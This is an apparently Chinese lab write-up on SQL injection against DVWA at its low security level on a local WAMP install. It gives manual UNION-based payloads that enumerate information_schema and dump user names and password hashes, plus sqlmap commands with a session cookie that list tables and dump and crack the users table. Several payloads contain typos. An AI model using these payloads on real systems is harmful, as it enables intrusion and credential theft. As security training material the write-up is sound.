dvwa_low_SQL_Injection

前端外刊评论 2018-05-20

2018年5月16日

实验平台:win10+wamp+dvwa+sqlmap

实验内容:dvwa_low_SQL_Injection

实验过程:

第一步:配置实验环境

  1. 安装wamp服务,wamp是集成apache+mysql+php的环境。
  2. 从github上git clone dvwa(https://github.com/ethicalhack3r/DVWA),将整个文件放在wamp/www目录下
  3. 启动服务,通过浏览器访问(127.0.0.1/dvwa/login.php)用默认的admin和password登录
  4. 将dvwa security设置成low级

第二步:sql injection

  1. 先假装自己是好人,输入1或者2或者3等。看看返回啥
  2. 在危险的边缘试探,输入“ 1’ “数字一和一瞥,于是返回sql的报错语句,获得2个信息:使用的数据库——mysql,没有过滤掉一瞥
  3. “天马行空“的推测,完美无过滤的接受了用户的输入(low级),后台语句select…from…where…XXX=’<用户的输入内容>’。正常情况下,用户输入1,后台select…from…where…XXX=’1’。
  4. 愉快地开始爆装备,

1.‘ or ‘1’=’1’/*基于现有字段爆出所有信息,第一个撇用来闭合*/

2./*进行猜解字段数*/

1′ or 1=1 order by 1;#(查询成功)

1′ or 1=1 order by 2;#(查询成功)

1′ or 1=1 order by 3;#(查询失败,两个字段)

3./*获取当前数据库*/

1' union select 1,database();#(#注释掉后面的东西,mysql中查询当前数据库的命令 --select database();)

4./*获取数据库中的表*/

1’ union select 1,group_concat(table_name) from information _schema.tables where table_schema=database();#

5./*获取表中的字段名*/

1‘union select 1,group_concat(colum_name) from infor mation_schema.columns where table_name=’ users’;#

6./*下载数据*/

1’ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users;#

第三步:sqlmap

注入神器

/*反馈需要登录cookie*/

sqlmap -u "url"

/*带上cookie参数*/

sqlmap -u "url" --cookie="cookie值”

/*获得所有的数据库*/

sqlmap -u "url" --cookie="cookie值” --dbs

/*获得指定数据库的所有表名单*/

sqlmap -u "url" --cookie="cookie值” -D dvwa --tables

/*获得指定表的字段名及相关信息*/

sqlmap -u "url" --cookie="cookie值” -D dvwa -T users --columns

/*对指定表的字段进行输出并且破解password的hash值*/

sqlmap -u "url" --cookie="cookie值” -D dvwa -T users -C user,password –dump

第四步:总结学习

打开这个wamp\www\dvwa\vulnerabilities\sqli\source目录,查看low.php的源码

看看渣渣级后台源码,这种码已是古董。

相关推荐